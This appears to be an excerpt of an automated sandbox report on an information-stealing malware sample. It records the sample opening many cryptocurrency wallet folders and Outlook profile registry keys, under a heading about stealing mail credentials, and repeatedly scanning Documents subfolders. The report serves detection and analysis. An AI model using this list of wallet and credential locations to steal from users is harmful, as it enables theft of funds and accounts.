Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
